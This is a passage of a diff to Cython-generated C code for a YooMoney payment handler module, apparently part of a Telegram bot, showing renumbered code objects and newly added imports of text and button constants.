__pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_amount_selection, 104, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_tuple__17 = PyTuple_Pack(1, __pyx_n_u_yoomoney_amount); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__17); + __Pyx_GIVEREF(__pyx_tuple__17); + __pyx_tuple__18 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__18); + __Pyx_GIVEREF(__pyx_tuple__18); + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__18, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_amount_selection, 106, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 106, __pyx_L1_error) - __pyx_tuple__25 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_notification_secret, __pyx_n_s_sha1_hash, __pyx_n_s_string_to_hash, __pyx_n_s_calculated_hash, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 143, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__25); - __Pyx_GIVEREF(__pyx_tuple__25); - __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_yoomoney_webhook, 143, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 143, __pyx_L1_error) + __pyx_tuple__19 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_notification_secret, __pyx_n_s_sha1_hash, __pyx_n_s_string_to_hash, __pyx_n_s_calculated_hash, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__19); + __Pyx_GIVEREF(__pyx_tuple__19); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__19, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_yoomoney_webhook, 145, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 145, __pyx_L1_error) - __pyx_tuple__26 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 174, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__26); - __Pyx_GIVEREF(__pyx_tuple__26); - __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_enter_custom_amount, 174, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_tuple__20 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__20); + __Pyx_GIVEREF(__pyx_tuple__20); + __pyx_codeobj__10 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__20, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_enter_custom_amount, 176, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__10)) __PYX_ERR(0, 176, __pyx_L1_error) - __pyx_tuple__27 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 191, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__27); - __Pyx_GIVEREF(__pyx_tuple__27); - __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_custom_amount_input, 191, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_tuple__21 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__21); + __Pyx_GIVEREF(__pyx_tuple__21); + __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__21, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_custom_amount_input, 193, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -8787,15 +8790,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)) __PYX_ERR(0, 40, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)) __PYX_ERR(0, 42, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 42, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 42, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_print = 0; @@ -8806,15 +8809,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 104, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 106, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 106, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 104, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 106, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; @@ -8825,15 +8828,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)) __PYX_ERR(0, 143, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 143, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)) __PYX_ERR(0, 145, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 145, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 143, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 145, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_print = 0; @@ -8844,15 +8847,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 174, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 176, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 176, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 176, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; @@ -8863,15 +8866,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 191, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 193, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 193, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 193, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; @@ -9434,7 +9437,7 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = PyList_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -9442,6 +9445,12 @@ if (!__Pyx_RefNanny) { __Pyx_INCREF(__pyx_n_s_AMOUNT_TEXT); __Pyx_GIVEREF(__pyx_n_s_AMOUNT_TEXT); if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 21, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ENTER_SUM); + __Pyx_GIVEREF(__pyx_n_s_ENTER_SUM); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_ENTER_SUM)) __PYX_ERR(0, 21, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 21, __pyx_L1_error); __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -9453,6 +9462,14 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ENTER_SUM, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) @@ -9469,126 +9486,100 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_BACK); + __Pyx_GIVEREF(__pyx_n_s_BACK); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 24, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_CUSTOM_AMOUNT); + __Pyx_GIVEREF(__pyx_n_s_CUSTOM_AMOUNT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_CUSTOM_AMOUNT)) __PYX_ERR(0, 24, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_PAY); + __Pyx_GIVEREF(__pyx_n_s_PAY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_PAY)) __PYX_ERR(0, 24, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_BACK); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_AMOUNT, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAY); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_edit_or_send_message); __Pyx_GIVEREF(__pyx_n_s_edit_or_send_message); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 24, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 26, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 30, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_2, 